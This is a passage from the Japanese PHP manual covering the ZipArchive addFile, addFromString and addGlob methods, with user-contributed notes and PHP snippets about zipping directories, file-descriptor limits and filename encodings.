if ($zip -> open($archive_name, ZipArchive::CREATE) === TRUE)
{
    $dir = preg_replace('/[\/]{2,}/', '/', $archive_folder."/");

    $dirs = array($dir);
    while (count($dirs))
    {
        $dir = current($dirs);
        $zip -> addEmptyDir($dir);

        $dh = opendir($dir);
        while($file = readdir($dh))
        {
            if ($file != '.' && $file != '..')
            {
                if (is_file($file))
                    $zip -> addFile($dir.$file, $dir.$file);
                elseif (is_dir($file))
                    $dirs[] = $dir.$file."/";
            }
        }
        closedir($dh);
        array_shift($dirs);
    }

    $zip -> close();
    echo 'Archiving is sucessful!';
}
else
{
    echo 'Error, can\'t create a zip file!';
}
?>
thomas dot rubbert at yahoo dot de 30-May-2009 05:19
Here's a stack-based way to zip a directory. No recursion, no function, no class:

<?php
$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::CREATE);

$dirName = 'test';

if (!is_dir($dirName)) {
    throw new Exception('Directory ' . $dirName . ' does not exist');
}

$dirName = realpath($dirName);
if (substr($dirName, -1) != '/') {
    $dirName.= '/';
}

/*
 * NOTE BY danbrown AT php DOT net: A good method of making
 * portable code in this case would be usage of the PHP constant
 * DIRECTORY_SEPARATOR in place of the '/' (forward slash) above.
 */

$dirStack = array($dirName);
//Find the index where the last dir starts
$cutFrom = strrpos(substr($dirName, 0, -1), '/')+1;

while (!empty($dirStack)) {
    $currentDir = array_pop($dirStack);
    $filesToAdd = array();

    $dir = dir($currentDir);
    while (false !== ($node = $dir->read())) {
        if (($node == '..') || ($node == '.')) {
            continue;
        }
        if (is_dir($currentDir . $node)) {
            array_push($dirStack, $currentDir . $node . '/');
        }
        if (is_file($currentDir . $node)) {
            $filesToAdd[] = $node;
        }
    }

    $localDir = substr($currentDir, $cutFrom);
    $zip->addEmptyDir($localDir);

    foreach ($filesToAdd as $file) {
        $zip->addFile($currentDir . $file, $localDir . $file);
    }
}

$zip->close();
?>
D.Jann 07-Oct-2008 05:26
I've brought a little modification to dayjo's code, so it wouldn't re-create the whole structure of your working drive in the zip file:

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive, $zipdir = ''){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            if(!empty($zipdir)) $zipArchive->addEmptyDir($zipdir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive, $zipdir . $file . "/");
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file, $zipdir . $file);

                }
            }
        }
    }
}
?>

If you don't specify the third parameter (zipdir), the directory you're adding will be added at the root of the zip file.

D.Jann
pagetronic 12-Sep-2008 03:53
addEmptyDir doesn't exist now,
use $zip->addFile($file, $dir.$fichier);

nothing on the net about this,

addEmptyDir work on Ubuntu but not on Debian Etch
Anonymous 24-Aug-2008 03:28
Here's a simple recurring function to add a directory, all sub-directories and all files to an already created zip file;

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            $zipArchive->addEmptyDir($dir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive);
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file);

                }
            }
        }
    }
}
?>

Would be nice to see more input on these functions :)

Dayjo
benjamin dot seiller at antwerpes dot de 21-Jul-2008 04:37
There is kind of a bug in the method
ZipArchive::addFile
which affects the class ZipFolder below.
It is related to the numer of max filehandles of the OS.

As workaround add a file-counter to the class and close + reopen the archive if a certain number of files (directories count as files!) is reached.

For more details see here:
http://de.php.net/manual/en/function.ziparchive-addfile.php
or go directly here
http://bugs.php.net/bug.php?id=40494
or here
http://pecl.php.net/bugs/bug.php?id=9443


指定したパスからファイルを ZIP アーカイブに追加する

  • ≪ ZipArchive::addEmptyDir
  • ZipArchive::addFromString ≫
  • PHP Manual
  • ZipArchive
  • 指定したパスからファイルを ZIP アーカイブに追加する

ZipArchive::addFile

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::addFile — 指定したパスからファイルを ZIP アーカイブに追加する

説明

public ZipArchive::addFile ( string $filepath , string $entryname = "" , int $start = 0 , int $length = 0 , int $flags = ZipArchive::FL_OVERWRITE ) : bool

指定したパスから、ファイルを ZIP アーカイブに追加します。

注意: ポータビリティを考慮して、ZIP ファイル名のディレクトリ区切り文字には常にスラッシュ (/) を使うことを推奨します。

パラメータ

filepath

追加するファイルへのパス。

entryname

空でない値を指定した場合は ZIP アーカイブ内部での名前となり、filepath を上書きします。

start

ファイルを一部コピーする場合の開始位置。

length

ファイルを一部コピーする場合の、コピーする長さ。 0 または -1 を指定すると(start の位置から)ファイル全体をコピーします。

flags

以下のビットマスクの組み合わせ:
ZipArchive::FL_OVERWRITE,
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437。
これらの定数の振る舞いは、定義済みの定数 で説明しています。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 / 1.18.0 | flags が追加されました。

例

この例は、ZIP ファイルアーカイブ test.zip をオープンし、ファイル /path/to/index.txt を newname.txt という名前で追加します。

例1 オープンおよび追加

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->addFile('/path/to/index.txt', 'newname.txt');
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

注意

注意:

アーカイブにファイルを追加するよう設定すると、PHP はそのファイルをロックします。 ロックが解除されるのは、ZipArchive::close() を呼ぶなり ZipArchive オブジェクトを破棄するなりして ZipArchive オブジェクトが閉じられたときだけです。 そのため、追加しようとしているファイルがロックが解除される前に削除されるようなことは起こりません。

参考

  • ZipArchive::replaceFile() - 指定されたパスのファイルにアーカイブの一部を置き換える

User Contributed Notes

raja at rsdisk dot com 10-Nov-2018 08:57
zip->addfile function does not add file to archive immediately. It is cued and executed at zip->close()

I had backup files in a dir. with a foreach statement I was adding the file to an archive and then moving the files into dump dir immediately.

This caused an error.

<?php
$dir = getcwd().'/';
$dirContent = scandir('./');
foreach($dirContent as $file)
    if(strpos($file, '.sql')!==false)
{
    echo "adding $file ......";
    $zip->addFile($file);
        $newFileName = $dir."done/$file";
    rename($dir.$file, $newFileName);
    echo( "; file added\n");
}
$zip->close();
?>

The $zip->close() needs to execute before moving files,
<?php
foreach($dirContent as $file)
    if(strpos($file, '.sql')!==false)
{
    echo "adding $file ......";
    $zip->addFile($file);
    echo( "; file added\n");
}
$zip->close();
foreach($dirContent as $file)
    if(strpos($file, '.sql')!==false)
{
    $newFileName = $dir."done/$file";
    rename($dir.$file, $newFileName);
    echo( "$file moved\n");
}
?>
gio AT giombg dot com 20-Jan-2018 08:22
work 4 me

$zip = new ZipArchive;
$zip_name = ('name.zip');
$path_zip = ($config['path'].'/zip/'.$zip_name);
$zip->open($path_zip,ZipArchive::CREATE);
$zip->addFile($path1.'/'.$nam1,$nam1);
$zip->addFile($path2.'/'.$nam2,$nam2);
$zip->close();

ciao
GioMBG
ohcc at 163 dot com 01-Aug-2016 01:22
如果文件名包含?字，ZIPARCHIVE::addFile() 会?致无法将文件??到??包中，或者??以后文件名乱?。

可以使用ZipArchive::addFromString()来??。

注意：如果操作系?是Windows，文件系???是gbk.
如果php文件的文件??是utf-8，需要相???。

ZipArchive::addFile() fails if the filename contains Chinese characters.

ZipArchive::addFromString() should be used instead.

<?php

    $z = new ZipArchive;

    $file = '?先成.txt';

    if($z->open(ZIPARCHIVE::CREATE)===true){
        $z->addFromString($file, file_get_contents($file));
        //for windows
        //$z->addFromString($file, file_get_contents(iconv('utf-8', 'gbk//ignore', $file)));
    }
    // ...
ohcc at 163 dot com 16-Dec-2015 05:04
Do NOT use ZipArchive::addFile() to append a folder.

When a folder's path is passed to ZipArchive::addFile(), the method returns true, but ZipArchive can neither create a zip archive nor can it make any change to a existing file.

<?php
    $z = new ZipArchive();
    if(true === ($z->open('./foo.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE))){
        $z->setArchiveComment('Interesting!');
        $z->addFromString('domain.txt', 'wuxiancheng.cn');
        $folder = './test';
        !is_dir($folder) && mkdir($folder); // Create an folder for testing
        if(true === $z->addFile($folder)){
            echo 'success'; // !!!
        }
        rmdir($folder);
        $z->close();
        // foo.zip will NOT be saved on disk.
        // If foo.zip already exists before we run this script, the file will remain unchanged.
    }
?>
stanislav dot eckert at vizson dot de 02-Mar-2015 11:43
2 tips:

- The example in on this page is a bit misleading for new programmers. It works only if the ZIP archive file exists already. Don't forget to use ZipArchive::CREATE and optionally ZipArchive::OVERWRITE in the second optional parameter in the open() function.

- If you want to add files and directories recursively (see some examples from other comments here on this page) use scandir() instead of blob() because blob() does not list hidden files like ".htaccess" for example.
todd at toddwiggins dot com dot au 15-May-2014 03:31
The addFile() method does not accept the "file://" protocol. Strip away "file://" and use the absolute path instead.

I assume that it also does not accept any other protocols, I was having issues trying to add files, other functions within the application I was building required the use of the protocol.

Also to note, the status code returned did not match any of the predefined error codes, and the status code was never the same. My assumption was a overflow on the variable as the status codes were around the minimum and maximum INT values.
frame86 at live dot com 13-Apr-2014 04:48
The manual is lying.

"In short, it means you can first delete an added file after the archive is closed. "

Thats true but not by locking the file...
Warning! This method works asynchronous!

It seems that addFile() will return TRUE if the file stat command returns correctly, but the operation itself will not happen yet.

Instead, deleting a file is always possible. I have discovered this behaviour by using a temporary file and deleting it immediately after addFile() returns. The result was that no archive was created nor any file was added although every operation (creating,open(),addFile()) returned true before. The operation silenty fails.
romuloum at hotmail dot com 03-Apr-2014 07:00
If you have problem with windows explorer reading zipfile created by linux, try:
$oZip->addFile ( $file_name, " " . basename ( $file_name ) )
That space " " should solve.
s dot eckert dot spam at gmx dot com 11-Oct-2013 03:27
Note that there is no concept of "folders" for ZIP files. If you need to store data into folders, use forward slashes ("/") in $localname to separate folder(s) and the file name.

Example:
$zip->addFile("test.txt", "mainfolder/subfolder/test.txt");
arrtedone at gmail dot com 29-Aug-2013 08:19
Note that ZipArchive::open() not return boolean value, but integer, for example :
$zip = new ZipArchive();
$filename = '/tmp/test.zip';
var_dum($zip->open($filename)); // return's : int (11)
kris at blacksuitmedia [do/t/] c0m 25-Apr-2013 08:41
I had a huge number of files and folders that I needed to zip on a linux web server. I was running into timeout problems and file enumerator issues, as well as file handler limit issues (ulimit). I used a script to solve u limit offered by Farzad Ghanei first (ZipArchiveImproved), but closing and reopening his way didn't do the trick for me.

I eventually did a simple call to a $filelimit variable I created that records file handler limit I want my script to hit before it closes and reopens the file.
<?php
$filelimit = 255;

if ($zip->numFiles == $filelimit) {$zip->close(); $zip->open($file) or die ("Error: Could not reopen Zip");}
?>

This made some progress for me, timeouts were gone, but when calling
<?php $zip->addFile($filepath, $archivefilepath); ?>
after the reopening of the Zip, I got an error. I echoed the <?php $zip->numFiles; ?> and found that after reopening, the numFile enum reset to '0'.

A few more goose-chases later, I tried addFromString with some better results, but did not get it working 100% until I actually coupled addFromString with addFile! My working scripting for the add files function on massive file-folder structures looks like so:

<?php
$sourcefolder = /rel/path/to/source/folder/on/server/

$dirlist = new RecursiveDirectoryIterator($sourcefolder);

$filelist = new RecursiveIteratorIterator($dirlist);

//how many file can be added before a reopen is forced?
$filelimit = 245;

// Defines the action
$file = tempnam("tmp", "zip");
$zip = new ZipArchive();

// This creates and then gives the option to save the zip file

if ($zip->open($file, ZipArchive::OVERWRITE) !== TRUE) {

    die ("Could not open archive");

}

// adds files to the file list
foreach ($filelist as $key=>$value) {

    //fix archive paths
    $path = str_replace($sourcefolder, "", $key); //remove the source path from the $key to return only the file-folder structure from the root of the source folder
    if (!file_exists($key)) { die($key.' does not exist. Please contact your administrator or try again later.'); }
      if (!is_readable($key)) { die($key.' not readable. Please contact your administrator or try again later.'); }
          if ($zip->numFiles == $filelimit) {$zip->close(); $zip->open($file) or die ("Error: Could not reopen Zip");}

    $zip->addFromString($path, $key) or die ("ERROR: Could not add file: $key </br> numFile:".$zip->numFiles);
    $zip->addFile(realpath($key), $path) or die ("ERROR: Could not add file: $key </br> numFile:".$zip->numFiles);

}

// closes the archive
$zip->close();

//make local temp file a .zip, rename, and move to output dir
rename ($file, "./" . $outputfolder . "/" . $zipfilename);
?>
I hope this may help someone else.
Dean Rather 31-Oct-2012 03:47
This add directory function does not require that you create a new wrapper class, and also does not add the entire file directory tree into your zip file.

<?php

public function addDirectoryToZip($zip, $dir, $base)
{
    $newFolder = str_replace($base, '', $dir);
    $zip->addEmptyDir($newFolder);
    foreach(glob($dir . '/*') as $file)
    {
        if(is_dir($file))
        {
            $zip = $this->addDirectoryToZip($zip, $file, $base);
        }
        else
        {
            $newFile = str_replace($base, '', $file);
            $zip->addFile($file, $newFile);
        }
    }
    return $zip;
}

?>
shano 01-May-2012 02:21
thought it might come in handy
recursively adds all directories and files within a directory

class zip extends ZipArchive {

    public function addDirectory($dir) { // adds directory
        foreach(glob($dir . '/*') as $file) {
            if(is_dir($file))
                $this->addDirectory($file);
            else
                $this->addFile($file);
        }
    }
}
ptipti at gala dot net 06-Apr-2012 12:12
Another surprise, which took a lot of trouble. So that after you add a file to the archive it can be safely removed, took advantage of such construction:

if (!is_file ($archive)) :
    $result = $zip->open ($archive, ZipArchive::CREATE);
else :
    $result = $zip->open ($archive);
endif;
if ($result === TRUE) :
    if (($zip->addFile ($file, $filename)) === TRUE) :
        $theoreticaly_added = TRUE;
    endif;
    if ((($zip->close ()) === TRUE) && $theoreticaly_added) :
        unlink ($file);
    endif;
endif;

Now the files will not disappear. But perhaps there is a simpler solution, which gives 100% guarantee?
sp at read dot eu 16-Feb-2012 08:25
Note that using addFile() will change the order of the files within the zip, in fact within the index of the zip. Does not matter much, except if you loop the index and use addFile() within that loop : it will likely give messy results.

Example :
<?php
$zip = new ZipArchive;
if ($zip->open('somefile.zip') === TRUE) {
  for ($i = 0; $i < $zip->numFiles; $i++) {
    if (forsomereason()) {
      addFile('./somenewfile.ext', $zip->getNameIndex($i));
    }
  }
}
$zip->close();
?>

This code may loop for ever, depending on your forsomereason() function, or at least you're at risk.

Try something like this instead :

<?php
$zip = new ZipArchive;
if ($zip->open('somefile.zip') === TRUE) {
  for ($i = 0; $i < $zip->numFiles; $i++) {
    if (forsomereason()) {
      $couples[]=array('filename'=>'./somenewfile.ext','localname'=>$zip->getNameIndex($i));
    }
  }
}
foreach ($couples as $couple) $zip->addFile($couple['filename'],$couple['localname']);
$zip->close();
?>

Hope it helps ;-)
john factorial 29-Dec-2010 12:57
Beware: calling $zip->addFile() on a file that doesn't exist will succeed and return TRUE, delaying the failure until you make the final $zip->close() call, which will return FALSE and potentially leave you scratching your head.

If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist.

It's also a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
aartdebruijn at gmail dot com 04-Nov-2010 06:37
When adding a file to your zip, the file is opened and stays open.
When adding over 1024 files (depending on your open files limit) the server stops adding files, resulting in a status 11 in your zip Archive. There is no warning when exceeding this open files limit with addFiles.

Check your open files with ulimit -a

This kept me busy for some time.
camuc at camuc dot net 27-Apr-2010 08:23
In some versions of this library you NEED to add the "localfile" parameter or the file will not show in the Zip folder.
pelpet at ic dot cz 20-Apr-2010 09:02
<?php
$zip=new ZipArchive;
$zip->addFile('path to the file', 'new name of the file');
?>

What I have to do, when I wan't to have the file in the zip archive with it's name before archiving?
(Sorry, I'm from Czech Republic and I can't speak English very well, if I did anywhere mistake, so ignore that pease :-)
jayarjo 24-Feb-2010 01:44
It is not obvious, since there are no noticeable examples around, but you can use $localname (second parameter) to define and control file/directory structure inside the zip. Use it if you do not want files to be included with their absolute directory tree.

<?php

$zip->addFile($abs_path, $relative_path);

?>
Anonymous 18-Jan-2010 10:30
On my system (Windows), I found that ZipArchive uses IBM850 encoding for filenames (localname). For filenames with special characters such as (e) &eacute; which appears at 0xE9 in the ISO-8859-1, it is at 0x82 in IBM850. I had to call iconv('ISO-8859-1', 'IBM850', 'Quebec') to get correct file names.
peter at boring dot ch 22-Aug-2009 06:10
Here's a little extension to ZipArchive that handles directories recursively:

<?php

class Zipper extends ZipArchive {

public function addDir($path) {
    print 'adding ' . $path . '<br>';
    $this->addEmptyDir($path);
    $nodes = glob($path . '/*');
    foreach ($nodes as $node) {
        print $node . '<br>';
        if (is_dir($node)) {
            $this->addDir($node);
        } else if (is_file($node))  {
            $this->addFile($node);
        }
    }
}

} // class Zipper

?>
christophe dot braud at aquafadas dot com 11-Aug-2009 03:10
If you have some warnings with ZipArchiveImproved since the last Ubuntu update, replace "self::CREATE" by "self::CREATE | self::OVERWRITE" in the reopen function

christophe
garcia at no_span dot krautzer-lynn dot com 24-Mar-2009 06:31
If you add files that have an absolut path, like for example:
/mnt/repository/my_file.pdf
the standard windows zip utility will not be able to extract the files. The first slash trips the zip utility. You have to add relative file paths or use a symbolic link.
ss at littlerain dot com 30-Jan-2009 04:45
Note that the file isn't actually added to the archive until the $zip->close() method is called. I spent a lot of time trying to figure out why no time() went by after adding large files via $zip->addFile() but would then time out the script.
Farzad Ghanei 18-Jan-2009 02:53
here is a basic class that extends the ZipArchive to:
  * add a functionality to report the ZIP file address (I needed it and I could not find out how in ZipArchive documentation).
  * resolve the problem of adding so many files to the archive due file descriptor limit. the ZipArchiveImproved::addFile() handles this.

<?php
/**
 * ZipArchiveImproved extends ZipArchive to add some information about the zip file and some functionality.
 *
 *
 *
 * @author Farzad Ghanei
 * @uses ZipArchive
 * @version 1.0.0 2009-01-18
 */

class ZipArchiveImproved extends ZipArchive {
    protected $_archiveFileName = null;
    protected $_newAddedFilesCounter = 0;
    protected $_newAddedFilesSize = 100;

    /**
     * returns the name of the archive file.
     *
     * @return string
     */
    public function getArchiveFileName() {
        return $this->_archiveFileName;
    }

    /**
     * returns the number of files that are going to be added to ZIP
     * without reopenning the stream to file.
     *
     * @return int
     */
    public function getNewAddedFilesSize() {
        return $this->_newAddedFilesSize;
    }

    /**
     * sets the number of files that are going to be added to ZIP
     * without reopenning the stream to file. if no size is specified, default is 100.
     *
     * @param int
     * @return ZipArchiveImproved self reference
     */
    public function setNewlAddedFilesSize($size=100) {
        if ( empty($size) || !is_int($size) || $size < 1) {
            $size = 100;
        }
        $this->_newAddedFilesSize = $size;
        return $this;
    }

    /**
     * opens a stream to a ZIP archive file. calls the ZipArchive::open() internally.
     * overwrites ZipArchive::open() to add the archiveFileName functionality.
     *
     * @param string $fileName
     * @param int $flags
     * return mixed
     */
    public function open($fileName, $flags) {
        $this->_archiveFileName = $fileName;
        $this->_newAddedFilesCounter = 0;
        return parent::open($fileName,$flags);
    }

    /**
     * closes the stream to ZIP archive file. calls the ZipArchive::close() internally.
     * overwrites ZipArchive::close() to add the archiveFileName functionality.
     *
     * @return bool
     */
    public function close() {
        $this->_archiveFileName = null;
        $this->_newAddedFilesCounter = 0;
        return parent::close();
    }

    /**
     * closes the connection to ZIP file and openes the connection again.
     *
     * @return bool
     */
    public function reopen() {
        $archiveFileName = $this->_archiveFileName;
        if ( !$this->close() ) {
            return false;
        }
        return $this->open($archiveFileName,self::CREATE);
    }

    /**
     * adds a file to a ZIP archive from the given path. calls the ZipArchive::addFile() internally.
     * overwrites ZipArchive::addFile() to handle maximum file connections in operating systems.
     *
     * @param string $fileName the path to file to be added to archive
     * @param string [optional] $localname the name of the file in the ZIP archive
     * @return bool
     */
    public function addFile( $fileName ) {
        if ($this->_newAddedFilesCounter >= $this->_newAddedFilesSize) {
            $this->reopen();
        }
        if ( func_num_args() > 1 ) {
            $flags = func_get_arg(1);
            $added = parent::addFile($fileName,$flags);
            if ($added) {
                $this->_newAddedFilesCounter++;
            }
            return $added;
        }
        $added = parent::addFile($fileName);
        if ($added) {
            $this->_newAddedFilesCounter++;
        }
        return $added;
    } // public function addFile()
}
?>
marco at maranao dot ca 15-Dec-2008 10:45
This is my workaround for the file descriptor limit by closing/opening the archive file periodically.

<?php
if($backup = new ZipArchive()) {
    if($backup->open($zip, ZIPARCHIVE::OVERWRITE) === true) {
        $backup->addFile($file['realpath'], $file['path']);
        if(($count++) == 200) { // the file descriptor limit
            $backup->close();
            if($backup = new ZipArchive()) {
                $backup->open($zip);
                $count = 0;
            }
        }
    }
    $backup->close();
}
?>

Hope it helps someone.
javierseixas at gmail dt com 17-Jul-2008 08:30
I have had several problems trying adding files, because of a path problem. The error gived was this:

ZipArchive::addFile() [function.ZipArchive-addFile]: Unable to access <path>

I used an absolute root starting by "/", and it didn't work. Try starting your path with "./" (referencing the root of your site).
wacher at freemail dot hu 23-Jun-2008 01:03
The workaround above (file_get_contents) is very dangerous if you pack large files. (see memory limit).
Close/open the zip archive periodically instead of using file_get_contents().
stanleyshilov {} gmail.com 11-May-2008 12:05
It should be noted that the example provided above is not accurate.

Unlike extractTo, zip_open does not return a boolean result, so the above example will always fail.
mike at thetroubleshooters dot dk 07-Feb-2008 07:20
What is worse is that when you run out of filedescriptors it seems to fail silently, I have not been able to find any errors in any logfiles.
Andreas R. newsgroups2005 at geekmail de 03-Apr-2007 06:29
Currently the number of files that can be added using addFile to the ZIP archive (until it is closed) is limited by file descriptors limit. This is an easy workaround (on the bug links below you can find another workarounds):
<?php
    /** work around file descriptor number limitation (to avoid failure
     * upon adding more than typically 253 or 1024 files to ZIP) */
    function addFileToZip( $zip, $path, $zipEntryName ) {
        // this would fail with status ZIPARCHIVE::ER_OPEN
        // after certain number of files is added since
        // ZipArchive internally stores the file descriptors of all the
        // added files and only on close writes the contents to the ZIP file
        // see: http://bugs.php.net/bug.php?id=40494
        // and: http://pecl.php.net/bugs/bug.php?id=9443
        // return $zip->addFile( $path, $zipEntryName );

        $contents = file_get_contents( $path );
        if ( $contents === false ) {
            return false;
        }
        return $zip->addFromString( $zipEntryName, $contents );
    }
?>


内容を指定して、ファイルを ZIP アーカイブに追加する

  • ≪ ZipArchive::addFile
  • ZipArchive::addGlob ≫
  • PHP Manual
  • ZipArchive
  • 内容を指定して、ファイルを ZIP アーカイブに追加する

ZipArchive::addFromString

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::addFromString — 内容を指定して、ファイルを ZIP アーカイブに追加する

説明

public ZipArchive::addFromString ( string $name , string $content , int $flags = ZipArchive::FL_OVERWRITE ) : bool

内容を指定して、ファイルを ZIP アーカイブに追加します。

注意: ポータビリティを考慮して、ZIP ファイル名のディレクトリ区切り文字には常にスラッシュ (/) を使うことを推奨します。

パラメータ

name

作成するエントリの名前。

content

エントリを作成するために使用するデータの内容。 バイナリセーフな形式で使用します。

flags

以下のビットマスクの組み合わせ:
ZipArchive::FL_OVERWRITE,
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437。
これらの定数の振る舞いは、定義済みの定数 で説明しています。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 / 1.18.0 | flags が追加されました。

例

例1 新しいアーカイブへのエントリの追加

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'ここにファイルの内容を書きます');
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

例2 アーカイブ内のディレクトリへのファイルの追加

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->addFromString('dir/test.txt', 'ここにファイルの内容を書きます');
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

User Contributed Notes

hossam6 at gmail dot com 01-Jul-2020 06:32
in case your string contain Arabic char, ZipArchive::addFromString will show it in wrong format char.
in this case you have to change your string coding from Unicode to Windows-1256 code

$filetxt        = iconv('utf-8','CP1256',$filetxt);
$zip            = new ZipArchive;
$zipFName    = "Tmp.zip";
if ($zip->open($zipFName, ZipArchive::CREATE) === TRUE)
{
    $zip->addFromString($fileName . '.csv',  $filetxt);
    $zip->close();
}
tahazit dot co dot il at gmail dot com 28-Nov-2014 01:18
On PHP >5.4, This function will usually create any subfolders inside the ZIP archive.
For instance:

   $zip->addFromString ( 'path/to/file.txt' , $data );

will create the folders "path/", and "path/to/" in addition to placing the newly created file "file.txt" in "path/to/" folder.
xslidian at lidian dot info 20-Feb-2013 12:57
Although numFiles will change after overwriting a file, it will be back normal when you ZipArchive::close() and open() it again.
NULL indexes don't persist either. Only the new order is kept. So feel free to overwrite.

Here overwriting works the same as deleting and adding. So it's not necessary to ZipArchive::deleteName() first.
calebcjh 19-May-2010 12:54
Although this function displaces files of the same name, in actual fact, the original file is blanked and a new entry is added. The numFiles property is incremented.

Example:

File 1: foo
File 2: bar

$zip->addFromString('foo', 'new foo');

File 1:
File 2: bar
File 3: foo
gbti at ukr dot net 16-Nov-2008 10:01
if you try:

<?php
$zip->open("file", ZipArchive::CREATE);
$zip->addFromString("russian_letters/options.xml");
?>

wrong directory will be created.

if you try:

<?php
$zip->addEmptyDir("russian_letters");
?>

All be fine.
Jacques Chester 30-Jan-2007 09:10
Note that this function overwrites existing files of the same name.


ディレクトリから、glob パターンを使ってファイルを追加する

  • ≪ ZipArchive::addFromString
  • ZipArchive::addPattern ≫
  • PHP Manual
  • ZipArchive
  • ディレクトリから、glob パターンを使ってファイルを追加する

ZipArchive::addGlob

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL zip >= 1.9.0)

ZipArchive::addGlob — ディレクトリから、glob パターンを使ってファイルを追加する

説明

public ZipArchive::addGlob ( string $pattern , int $flags = 0 , array $options = [] ) : array|false

ディレクトリから、glob pattern にマッチするファイルを追加します。

注意: ポータビリティを考慮して、ZIP ファイル名のディレクトリ区切り文字には常にスラッシュ (/) を使うことを推奨します。

パラメータ

pattern

glob() パターン。どのファイルを対象にするのかを指定します。

flags

glob() のフラグのビットマスク。

options

オプションの連想配列。次のオプションが使えます。

  • "add_path"

    アーカイブ内のファイルのローカルパスに変換するときにつけるプレフィックス。 これが適用されるのは、 "remove_path" や "remove_all_path" で定義された削除処理がすべて終わった後です。

  • "remove_path"

    マッチしたファイルをアーカイブに追加する前に削除するプレフィックス。

  • "remove_all_path"

    true にすると、ファイル名だけを使ってアーカイブのルートに追加します。

  • "flags"

    以下のビットマスクの組み合わせ:
ZipArchive::FL_OVERWRITE,
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437。
これらの定数の振る舞いは、定義済みの定数 で説明しています。

  • "comp_method"

    圧縮メソッド。 ZipArchive::CM_* のうちのいずれかです。 定義済みの定数 も参照して下さい。

  • "comp_flags"

    圧縮レベル

  • "enc_method"

    暗号化メソッド。 ZipArchive::EM_* のうちのいずれかです。 定義済みの定数 も参照して下さい。

  • "enc_password"

    暗号化に使うパスワード

返り値

成功した場合、追加されたファイルの array を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 / 1.18.0 | options に "flags" が追加されました。
8.0.0 / 1.18.1 | options に "comp_method", "comp_flags", "enc_method", "enc_password" が追加されました。

例

例1 ZipArchive::addGlob() の例

現在の作業ディレクトリにある、すべての PHP スクリプトとテキストファイルを追加します。

<?php
$zip = new ZipArchive();
$ret = $zip->open('application.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
if ($ret !== TRUE) {
    printf('Failed with code %d', $ret);
} else {
    $options = array('add_path' => 'sources/', 'remove_all_path' => TRUE);
    $zip->addGlob('*.{php,txt}', GLOB_BRACE, $options);
    $zip->close();
}
?>

参考

  • ZipArchive::addFile() - 指定したパスからファイルを ZIP アーカイブに追加する
  • ZipArchive::addPattern() - ディレクトリから、PCRE パターンを使ってファイルを追加する

User Contributed Notes

Francesc Pineda Segarra 26-Jan-2017 01:50
For me the better way seems to be:

$options = array('add_path' => DIRECTORY_SEPARATOR, 'remove_all_path' => TRUE);

On Windows uses \, on others /
sunbinzzzzz at gmail dot com 13-Dec-2016 07:16
Yes!! neither 'remove_all_path' or 'remove_path'  be working，if you want the right result，you should like this， $option = array( 'add_path' => '/', 'remove_all_path' => 'your path' );   'add_path' just give a '/'， then you will (; 。
sumariva at gmail dot com 07-Apr-2015 01:40
As others suggested, to remove all paths, use the space as basepath.
Zip opened with builtin utility on a Windows XP and WinRAR.

$options = array('add_path' => ' ','remove_all_path' => TRUE);

Thanks for all contributers.
johnsmith at na dot com 19-Feb-2015 03:36
Neither 'remove_all_path' or 'remove_path' options seem to be workng
zckernel at gmail dot com 13-Feb-2015 12:52
Doesn't work with the following options:
$options = array('remove_all_path' => TRUE);
$zipArchive->addGlob($path."/*", GLOB_BRACE, $options);

The full path to file is adding to the archive.

Works well if:
$options = array('add_path' => './','remove_all_path' => TRUE);


ディレクトリから、PCRE パターンを使ってファイルを追加する

  • ≪ ZipArchive::addGlob
  • ZipArchive::close ≫
  • PHP Manual
  • ZipArchive
  • ディレクトリから、PCRE パターンを使ってファイルを追加する

ZipArchive::addPattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL zip >= 1.9.0)

ZipArchive::addPattern — ディレクトリから、PCRE パターンを使ってファイルを追加する

説明

public ZipArchive::addPattern ( string $pattern , string $path = "." , array $options = [] ) : array|false

ディレクトリから、正規表現の pattern にマッチするファイルを追加します。 この操作は再帰処理ではありません。パターンマッチは、ファイル名に対してだけ行います。

パラメータ

pattern

